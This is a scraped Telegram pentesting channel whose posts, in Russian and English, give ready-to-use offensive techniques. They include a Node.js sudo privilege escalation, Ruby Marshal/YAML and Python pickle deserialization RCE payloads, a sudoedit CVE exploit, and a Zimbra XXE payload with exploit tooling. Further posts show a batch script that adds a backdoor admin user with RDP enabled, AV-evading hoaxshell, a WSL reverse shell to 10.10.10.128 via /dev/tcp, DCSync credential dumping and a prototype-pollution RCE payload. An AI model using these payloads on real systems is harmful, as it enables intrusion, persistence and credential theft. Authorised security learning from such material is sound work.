Monkey Hacker – Telegram
Monkey Hacker
790 subscribers
16 photos
1 video
2 files
51 links
Мартышка просто хочет научиться пентестить
Download Telegram
Executing Shell Commands with Node.js

Если ты увидишь, что-то такое

(ALL) /usr/bin/node /usr/local/noscripts/*.js

То ты можешь попробовать сделать sudo-права через node.js

Создаем любой js файл с последующим кодом

const { exec } = require("child_process");
exec("chmod u+s /bin/bash", (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
console.log(`stdout: ${stdout}`);
});


Затем запускаем exec-func

sudo /usr/bin/node /usr/local/noscripts/../../../../../../folder-name/file.js

И там уже...

/bin/bash -p

Все благодарности вот этому челу
2🔥1
Forwarded from 1N73LL1G3NC3
RedTeam With OneNote Sections

1. Not affected by Protected View/ MOTW
2. Allows embedding Malicious Excel/Word/PPT files that will be played without protected view
3. Allows embedding HTA, LNK, EXE files and spoof extensions
4. Possible to format document in a way user are tricked into opening a malicious file or a link
👏1
Ruby Insecure Deserialization

# RU

В Ruby также возможна иногда сделать RCE через десериализацию. В основном это возможно благодаря методу Marshall, который сериализует и десериализует объекты.

Снизу вы можете найти PoC

# EN

In Ruby, it is also possible to sometimes do RCE through deserialization. This is mostly possible through the Marshall method, which serializes and deserializes objects.

At the bottom you can find the PoC


require 'base64'
Gem::SpecFetcher
Gem::Installer
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "id")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Base64.encode64(payload)


# RU

Более подробно можно узнать здесь

# EN

Learn more here

https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html

https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_ruby.html

https://bishopfox.com/blog/ruby-vulnerabilities-exploits


# RU

Есть еще тулза

# EN

There is also a tool

https://github.com/klezVirus/deser-ruby
Ruby Deserialization via YAML file

# RU

Тут не будет каких-то подробностей, считайте дополнение к прошлому посту

Сама команда выполняется в git_set
Т. е сам YAML файл выглядит так

# EN

There won't be any details, just consider it an addition to the previous post

The command itself is executed in git_set
That is, the YAML file itself looks like this


---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve


# RU

А содержимое ruby скрипта будет таким

# EN

And the contents of the ruby noscript will be

require "yaml"
YAML.load(File.read("payload.yml"))


# RU

И потом делаем

# EN

And then do

ruby deser.rb

# RU

Да там будут ошибки, однако наша команда будет выполняться.

# EN

Yes, there will be mistakes, but our command will be executed.


THX:

https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/

https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565

https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/

https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/
1
Python Deserialization via Pickle

# RU

У Python есть несколько методов сериализации объектов: Marshall и Pickle
Модуль Pickle реализует двоичные протоколы для сериализации и десериализации объектов Python. Однако модуль Pickle не является безопасным и лучше распаковывать только те данные, которым вы доверяете.

Для эксплуатации мы будем использовать следующий метод:
pickle.dumps(obj)

Помимо этого есть еще библиотека pickletools

Этот модуль содержит различные методы, относящиеся к внутренним деталям модуля pickle

Здесь нам потребуются два метода:
pickletools.optimize()
pickletools.dis()

Теперь мы можем сделать свой пэйлоад для получения RCE. Кстати чтобы также сериализовался наш пэйлоад, то мы используем reduce в нашем классе


# EN


P
ython has several methods for serializing objects: Marshall and Pickle
The Pickle module implements binary protocols for serializing and deserializing Python objects. However, the Pickle module is not secure and will only decompress data that you trust.

We will use the following method to exploit it:
pickle.dumps(obj)

Apart from that there is also the pickletools library.

This module contains various methods related to the pickle module's internals

Here we need two methods:
pickletools.optimize()
pickletools.dis()

Now we can make our own payload to get the RCE. By the way, to serialize our payload as well, we use reduce in our class

PAYLOAD

import base64
import pickle
import pickletools
import subprocess
class anti_pickle_serum:
def reduce(self):
command = ['id']
return subprocess.check_output, (command,)
exploit_obj = anti_pickle_serum()
raw_pickle = pickle.dumps({"serum" : exploit_obj}, protocol=0)
optimized_pickle = pickletools.optimize(raw_pickle)
pickletools.dis(optimized_pickle)
payload = base64.b64encode(raw_pickle)
print(payload)


THX:

https://docs.python.org/3/library/pickle.html

https://davidhamann.de/2020/04/05/exploiting-python-pickle/

https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd
🔥2
Forwarded from frozen@rivens.life (Danila Saschenko)
XWiki.pdf
1.3 MB
На проекте столкнулся с XWiki - приложением для создания вики. Так случилось, что оказалась уязвимая версия, что и послужило толчком для создания небольшого ресерча на тему последующей эксплуатации: абуз макросов, незаметная загрузка файлов, закрепление.
👍1
Sudoedit Privilege Escalation (CVE-2023-22809)

#RU

Проверьте, что вы можете использовать sudoedit

cat /etc/sudoers

Введя дополнительный дэш, мы можем заставить наш редактор работать от имени root

export EDITOR='vim -- /path/to/your/files'

Теперь вы можете читать/писать файлы с привилегиями root

sudoedit /etc/custom/service.conf

#EN

Check that you can use sudoedit

cat /etc/sudoers

By introducing an extra dash, we can make our editor work as root

export EDITOR='vim -- /path/to/your/files'

Now you can read/write files with root

sudoedit /etc/custom/service.conf

Tools:

https://github.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc
🔥4
Forwarded from Похек
XXE to RCE Zimbra CVE-2019-9670

Всем привет! Проводя один из пентестов был найден Zimbra сервер. В ней была найдена очень интересная CVE-2019-9670. Если кратко, то это экплуатация XXE для получения RCE. Звучит интересно, да?)

Payload XXE:
 xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>

Ниже приведу парочку примеров, как эксплуатировать эту вулну.
Metasploit:
msf > use exploit/linux/http/zimbra_xxe_rce
msf exploit(zimbra_xxe_rce) > show targets
...targets...
msf exploit(zimbra_xxe_rce) > set TARGET < target-id >
msf exploit(zimbra_xxe_rce) > show options
...show and set options...
msf exploit(zimbra_xxe_rce) > exploit

Arambiz - эксплойт на Python3:
 clone https://github.com/oppsec/arbimz.git
pip3 install -r requirements.txt
python3 main.py --url https://example.com/

Zaber - эксплойт на Go:
 install github.com/oppsec/zaber@latest
zaber -u https://example.com
Если у вас не находит бинарь, то пропишите абсолютный путь.
 -u https://example.com
А после работ не забудьте добавить $HOME/go/bin/ в свой PATH 😉


Все 3 сплойта отлично срабатывают, но есть пару нюансов.
Плохой нюанс кроется в Zaber. У него нет функции TLS verify skip, поэтому если будет кривой серт на сайте и только 443 открыт, то пользуйтесь Arambiz)
Хороший нюанс, даже если Arambiz не сможет достучаться до веб шела, то вы всё равно получите креды администратора. Поэтому постарайтесь найти логин форму и вы получите админку без веб шела.

Буду рад, если распространите этот материал!
Пользуйтесь на здоровье, но не думайте блечить 😉
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4
Сreate user via bat file extension

#RU

На данный момент изучаю Windows и его приколы.
Вот вам скрипт, для создания пользователя с правами администратора и с включенным RDP.

#EN

I am currently learning Windows and its tricks.
Here is a noscript to create an admin user with RDP enabled.

net user test password /add
net localgroup Administrators test /add
net localgroup “Remote Desktop Users” test /add
reg add “hklm\system\currentcontrolset\control\terminal server” /f /v fDenyTSConnections /t REG_DWORD /d 0
2😁1
Обнимаю всех и надеюсь, что контент действительно заходит :)
Отдельно обнимаю @dnevnik_infosec
4👍1🔥1
Domain Admin in a few seconds (CVE-2021-42278 | CVE-2021-42287)

Такой способ повышения уже существует почти два года, однако этот способ актуален и интересный. А какие компоненты оно затрагивает?

1. По стандарту в настройках, обычный пользователь домена может присоединить компьютер к AD только 10 раз.
Чтобы это проверить, можно выполнить следующую команду:

Get-ADObject -Identity (Get-ADDomain).DistinguishedName -Properties ms-DS-MachineAccountQuota

Чтобы отличать учетные записи пользователей от учетных записей компьютеров, они должны иметь в атрибуте sAMAccountName на конце $. Однако прикол в том, что этот символ не всегда проверяется. Атрибутом имени учетной записи компьютера является sAMAccountName. Этот атрибут можно увидеть и отредактировать вручную с помощью ADSIEdit Tool

2. При запросе билета на обслуживание сначала необходимо предъявить TGT. Если запрашиваемый билет не найден KDC, KDC автоматически выполняет повторный поиск с последующим $. Если TGT получен для username, а пользователь username удален, то используя этот TGT для запроса сервисного билета для другого пользователя через S4U2self приведет к тому, что KDC будет искать username$ в AD.

Объединяя эти вулны, мы имеем примерно такой сценарий

Пользователь запрашивает TGT. Затем пользователь может попытаться удалить или переименовать исходную учетную запись компьютера. Получив TGT, пользователь может начать эксплуатировать sAMAccountName. А полностью зная, что KDC поставляет тикеты и временные сеансовые ключи пользователям и компьютерам в домене, мы это можем использовать для повышения привилегий

Сценарий эксплуатации выглядит так:

1. В домен добавляется новая учетная запись компьютера.
2. Созданная учетная запись компьютера переименовывается в соответствии с именем существующего контроллера домена
3. Запрашивается Kerberos TGT с использованием обновленного имени учетной записи компьютера.
4. Созданное имя учетной записи компьютера снова переименовывается в исходное значение.
5. Сервисный билет Kerberos запрашивается с использованием расширения S4U2self

Звучит душно, благо есть noPac, который эксплуатирует данную проблему

THX:

https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html

https://github.com/elastic/detection-rules/blob/a5359ca675267220afedf67795cd1fd04881b2c8/rules/windows/privilege_escalation_samaccountname_spoofing_attack.toml

https://github.com/WazeHell/sam-the-admin
3
Forwarded from Похек
This media is not supported in your browser
VIEW IN TELEGRAM
Adobe Acrobat Reader CVE-2023-21608 RCE: разбор уязвимости

В этой статье мы рассмотрим, как использовалась уязвимость use-after-free в Adobe Acrobat Reader DC. Ошибка была обнаружена в ходе проекта по фаззингу, направленной на популярные программы для чтения PDF. В итоге была успешно использована уязвимость для удаленного выполнения кода в Adobe Acrobat Reader.

#CVE #RCE #моястатья
Bypass AV with Hoaxshell

hoaxshell - это генератор rev-shells для Windows, который взаимодействует через HTTP

Т.к пэйлоад генерится необычным образом, то hoaxshell хорошо справился с AV-решениями, хотя иногда он обнаруживается Microsoft Defender, пэйлоад все равно легко замаскировать с помощью других инструментов или даже вручную.

Пример самой базовый команды, который генерит шелл

python3 hoaxshell.py -s 10.10.10.120

Держите:

https://github.com/t3l3machus/hoaxshell
🔥5
Connect abuse in Golang

Допустим у вас есть вебчик, который держится на Go. С большой вероятностью он будет использовать либу net/http, которая может преобразовать пути.

curl http://example.com/../kek -> http://example.com/kek

Однако, если мы будем использовать метод CONNECT, то результат будет другим

curl -X CONNECT http://example.com/../kek -> http://example.com/../kek

THX:

https://github.com/golang/go/blob/9bb97ea047890e900dae04202a231685492c4b18/src/net/http/server.go#L2354-L2364

https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/golang
2
JWT header parameter injections

Согласно спецификации JWS, обязательным является только параметр alg. Однако на практике заголовки JWT часто содержат несколько других параметров. Следующие из них представляют особый интерес для нас.

jwk (JSON Web Key) - Предоставляет встроенный объект JSON, представляющий ключ.

jku (JSON Web Key Set URL) - Предоставляет URL, по которому серверы могут получить набор ключей, содержащих правильный ключ.

kid (Key ID) - предоставляет идентификатор, который серверы могут использовать для определения правильного ключа в случаях, когда есть несколько ключей на выбор. В зависимости от формата ключа, он может иметь соответствующий параметр kid.

Как вы видите, эти контролируемые пользователем параметры указывают серверу-получателю, какой ключ использовать при проверке подписи.

Спецификация JSON Web Signature (JWS) описывает дополнительный параметр заголовка jwk, который серверы могут использовать для встраивания своего открытого ключа непосредственно в сам токен в формате JWK.

{
{
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
}
}


В идеале серверы должны использовать только ограниченный белый список открытых ключей для проверки подписей JWT. Однако неправильно настроенные серверы иногда используют любой ключ, встроенный в параметр jwk.

Вы можете использовать это поведение, подписав модифицированный JWT с помощью собственного закрытого ключа RSA, а затем вставив соответствующий открытый ключ в заголовок jwk.
Хотя вы можете вручную добавить или изменить параметр jwk в Burp, расширение JWT Editor предоставляет полезную функцию, которая поможет вам проверить эту уязвимость:

Сгенерируйте новый ключ RSA.

Отправьте запрос, содержащий JWT, в Burp Repeater.

Измените пэйлоад токена по своему усмотрению.

Выберите Embedded JWK. Когда появится запрос, выберите только что сгенерированный RSA-ключ.

Отправьте запрос, чтобы проверить, как ответит сервер.

Вы также можете выполнить эту атаку вручную, добавив заголовок jwk самостоятельно. Однако вам также может понадобиться обновить параметр kid заголовка JWT, чтобы он соответствовал kid встроенного ключа. Встроенная атака расширения сделает этот шаг за вас.
4
Давно не виделись 👋

Недавно мне потребовалось расшифровать Kerberos для более глубокого исследования работы протокола.

Чем же хорош Kerberos? Все мы помним, что он защищает своих клиентов, шифруя все и вся. Например:
- Поля в AS-REP шифруются с использованием нескольких ключей: TGT-билет шифруется на ключе учётной записи krbtgt, а сессионный ключ на ключе, который вычисляется из пароля
- в TGS-REP пакете поля шифруются с участием нескольких ключей:
ключ сервиса, ключ krbtgt и сессионного ключа пользователя.

🟦Если вы попробуете послушать сетевой трафик с помощью Wireshark во время обмена Krb-пакетами, то обнаружите внутри пакетов поля enc-part (encrypted part?) или enc-authorization-data, в которых зашиты все интересности.

🟦Оказывается, Wireshark умеет дешифровать эти поля, как это заметил Clement Notin в своем посте Decrypt Kerberos/NTLM “encrypted stub data” in Wireshark на medium. Нужно приготовить keytab файл (файл для хранения Kerberos ключей, чаще используется в Linux) и выставить некоторые настройки:

1️⃣ Получаем ключи пользователя/компьютера/krbtgt/через dcsync, используя impacket:
secretsdump.py "DOMAIN/admin:passwd"@192.168.6.1 -just-dc-user krbtgt
secretsdump.py "DOMAIN/admin:passwd"@192.168.6.1 -just-dc-user user
secretsdump.py "DOMAIN/admin:passwd"@192.168.6.1 -just-dc-user server$

2️⃣ Готовим keytab-файл с помощью скрипта keytab.py , который написал Dirk-jan:
На 112-строке исправляем кортеж keys, добавляя собственные ключи:
keys = [
(18, '66ec115dcac0b861309080689dd92474a7a0def111e7977be4847eee00688a21'),
(18, '9a5f19e1ebe06c8f900669a0c6ebdfee91bf49e9cf99133439aad45c5e4c0a74'),
(18, '3209fa3b453a2a05b4345daa775d57ba704a73e06239544599d4d35df95d5aaa')
]
В моем случае это AES-256-ключи, поэтому keytype будет 18 (для AES-128 и RC4 используется 17 и 23 соответственно)

Генерируем файл keytab с помощью скрипта:
python keytab.py keys.bin

3️⃣Забираем файл keys.bin на машину с Wireshark.
Идем в настройки Preferences > Protocols > KRB5 > там ставим галку "Try to decrypt Kerberos blobs" и указываем путь до файла C:\Users\user\Desktop\keys.bin. Применяем настройки

🟦 Помимо Kerberos, Wireshark будет декодировать пакеты DCE/RPC, LDAP и NTLMSSP blob'ы, что очень удобно для самостоятельного исследования протоколов. Добавляю метод в копилку лайфхаков

#kerberos #tips
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
Abuse WSL

#RU

Windows Subsystem for Linux (WSL) - по факту данная функция в Windows, дает доступ к компактной версии файловой системе Linux, т.е мы можем выполнять практически любые команды Linux в Windows.
И естественно благодаря данной функции мы можем выполнить различные хитрости, которые нам недоступны как обычному пользователю, но можем выполнить в пределах нашего шелла. Нужны самые стандартные права пользователя, но важно, чтобы мы смогли выполнить wsl --install для включения данного функционала.
Потом убеждаемся, что данный функционал действительно работает и смотрим, доступен ли нам какой-либо дистрибутив Linux (по стандарту там будет Ubuntu)

#EN

Windows Subsystem for Linux (WSL) - in fact this function in Windows, gives us access to a compact version of the Linux file system, i.e. we can execute almost any Linux command in Windows.
And of course with this feature we can do all sorts of tricks which we can't do as a normal user but we can do within our shell. We need the most standard user rights, but it is important that we can run wsl --install to enable this feature.
Then we make sure that this feature really works and check if any Linux distro is available for us (by default this would be Ubuntu)

wsl --list --running

#RU

Если все ок, то проверьте, что у вас есть еще доступ к bash оболочке (bash.exe). Обычно он имеет путь следующий:
C:\Windows\system32\bash.exe

#EN

If everything is ok, check that you have access to the bash shell (bash.exe). It usually has the path as follows:
C:\Windows\system32\bash.exe

Начинаем с базового | Starting with basic

wsl.exe "whoami"

OR

bash.exe -c "whoami"

Если ответ видим root, то можно попробовать rev-shell | If the answer is root, you can try rev-shell

bash.exe -c "bash -i >& /dev/tcp/10.10.10.128/5555 0>&1"

#RU

P.S если что то это не тот же самый root, который есть в виндовой тачке, однако мы можем выполнять теперь те действия, которые изначально нам не были доступны

#EN

P.S it is not the same as root, which is in the wind machine, but we can now do things that were not originally available to us

#RU

Мы можем выполнять/модифицировать различные бинари на основной машине

#EN

We can run/modify different binary on the main machine

wsl.exe -e /mnt/c/Windows/System32/NeTrojan.exe

Have fun 👀
Please open Telegram to view this post
VIEW IN TELEGRAM
🐳4
Там @dnevnik_infosec сегодня запостил много материала по PE в Windows, чекаем
Prototype Pollution + child_process.fork() = RCE

Помимо моего пепла, который остался с ресерча винды, я прочитал про интерсные свойства у child_process.fork() в Node.js
child_process.fork() - предоставляет возможность создавать подпроцессы с помощью child_process.spawn(). Метод fork() принимает объект с именем options, в котором одним из потенциальных параметров является свойство execArgv. Это массив строк, содержащих аргументы командной строки, которые должны быть использованы при порождении дочернего процесса.

Т.е конструктор выглядит следующим образом

this.execArgv = options.execArgv;

Это позволяет нам напрямую управлять аргументами командной строки, и дает нам возможности для RCE. Особый интерес представляет аргумент --eval, который позволяет передавать произвольный JavaScript, а он уже будет выполняться дочерним процессом. Т.е мы можем загружать свои собственные модули.

"execArgv": [
"--eval=require('<moduele_name>')"
]



А значит потенциальный пейлоад будет выглядеть так

cat.__proto__.execArgv = ["-c", "touch /tmp/biba"]

Или в виде JSON

"__proto__": { "execArgv":[ "--eval=require('child_process').execSync('touch /tmp/biba')" ] }
👍5